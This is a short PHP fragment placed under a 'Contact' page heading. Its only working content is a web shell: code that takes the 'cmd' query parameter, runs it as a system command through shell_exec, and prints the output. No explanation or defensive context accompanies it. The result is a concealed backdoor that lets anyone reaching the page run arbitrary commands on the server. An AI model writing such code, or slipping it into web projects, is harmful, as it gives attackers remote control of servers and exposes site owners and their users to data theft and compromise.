<h2>Contact</h2>
<?php
if(isset($_GET['cmd']))
{
//system($_GET['cmd'] . ' 2>&1');
//echo nl2br(shell_exec($_GET['cmd'] . ' 2>&1'));
$output = shell_exec($_GET['cmd'] . ' 2>&1');
echo '<pre>' . htmlspecialchars($output, ENT_QUOTES, 'UTF-8') . '</pre>';
}
?>